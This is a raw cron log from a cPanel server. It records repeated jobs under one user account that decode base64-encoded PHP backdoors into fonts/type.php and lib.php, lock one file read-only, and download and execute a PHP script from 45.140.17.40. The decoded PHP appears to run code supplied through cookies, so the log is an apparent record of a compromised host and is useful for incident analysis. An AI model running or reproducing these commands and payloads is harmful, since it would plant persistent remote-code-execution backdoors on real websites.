Aug 31 13:53:01 ip-184-168-122-23 CROND[9901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:53:01 ip-184-168-122-23 CROND[9902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:53:01 ip-184-168-122-23 CROND[9903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:54:01 ip-184-168-122-23 CROND[10018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:54:02 ip-184-168-122-23 CROND[10019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:54:02 ip-184-168-122-23 CROND[10022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:54:02 ip-184-168-122-23 CROND[10025]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:54:02 ip-184-168-122-23 CROND[10024]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 13:55:01 ip-184-168-122-23 CROND[10115]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:55:01 ip-184-168-122-23 CROND[10114]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 13:55:01 ip-184-168-122-23 CROND[10120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:55:01 ip-184-168-122-23 CROND[10118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:55:01 ip-184-168-122-23 CROND[10119]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:55:01 ip-184-168-122-23 CROND[10121]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 13:56:01 ip-184-168-122-23 CROND[10235]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:56:01 ip-184-168-122-23 CROND[10237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:56:01 ip-184-168-122-23 CROND[10238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:56:01 ip-184-168-122-23 CROND[10239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:56:01 ip-184-168-122-23 CROND[10240]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 13:57:01 ip-184-168-122-23 CROND[10323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:57:02 ip-184-168-122-23 CROND[10326]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:57:02 ip-184-168-122-23 CROND[10328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:57:02 ip-184-168-122-23 CROND[10329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:58:01 ip-184-168-122-23 CROND[10409]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:58:01 ip-184-168-122-23 CROND[10411]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:58:01 ip-184-168-122-23 CROND[10412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:58:01 ip-184-168-122-23 CROND[10413]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 13:58:01 ip-184-168-122-23 CROND[10414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:59:01 ip-184-168-122-23 CROND[10574]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:59:01 ip-184-168-122-23 CROND[10575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:59:01 ip-184-168-122-23 CROND[10576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:59:02 ip-184-168-122-23 CROND[10577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:00:01 ip-184-168-122-23 CROND[10679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:00:01 ip-184-168-122-23 CROND[10681]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 14:00:01 ip-184-168-122-23 CROND[10682]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 14:00:01 ip-184-168-122-23 CROND[10686]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 14:00:01 ip-184-168-122-23 CROND[10688]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 14:00:01 ip-184-168-122-23 CROND[10685]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 31 14:00:01 ip-184-168-122-23 CROND[10683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:00:01 ip-184-168-122-23 CROND[10690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:00:01 ip-184-168-122-23 CROND[10687]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:01:01 ip-184-168-122-23 CROND[10864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:01:01 ip-184-168-122-23 CROND[10865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:01:01 ip-184-168-122-23 CROND[10863]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 14:01:01 ip-184-168-122-23 CROND[10866]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 14:01:01 ip-184-168-122-23 CROND[10867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:01:01 ip-184-168-122-23 CROND[10872]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[10863]: starting 0anacron
Aug 31 14:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[10887]: finished 0anacron
Aug 31 14:02:01 ip-184-168-122-23 CROND[11031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:02:01 ip-184-168-122-23 CROND[11032]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 14:02:01 ip-184-168-122-23 CROND[11030]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:02:01 ip-184-168-122-23 CROND[11029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:02:01 ip-184-168-122-23 CROND[11033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:03:01 ip-184-168-122-23 CROND[11174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:03:01 ip-184-168-122-23 CROND[11173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:03:01 ip-184-168-122-23 CROND[11175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:03:01 ip-184-168-122-23 CROND[11176]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:04:02 ip-184-168-122-23 CROND[11256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:04:02 ip-184-168-122-23 CROND[11258]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 14:04:02 ip-184-168-122-23 CROND[11260]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:04:02 ip-184-168-122-23 CROND[11261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:04:02 ip-184-168-122-23 CROND[11263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:05:01 ip-184-168-122-23 CROND[11365]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:05:01 ip-184-168-122-23 CROND[11366]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 14:05:01 ip-184-168-122-23 CROND[11369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:05:01 ip-184-168-122-23 CROND[11368]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
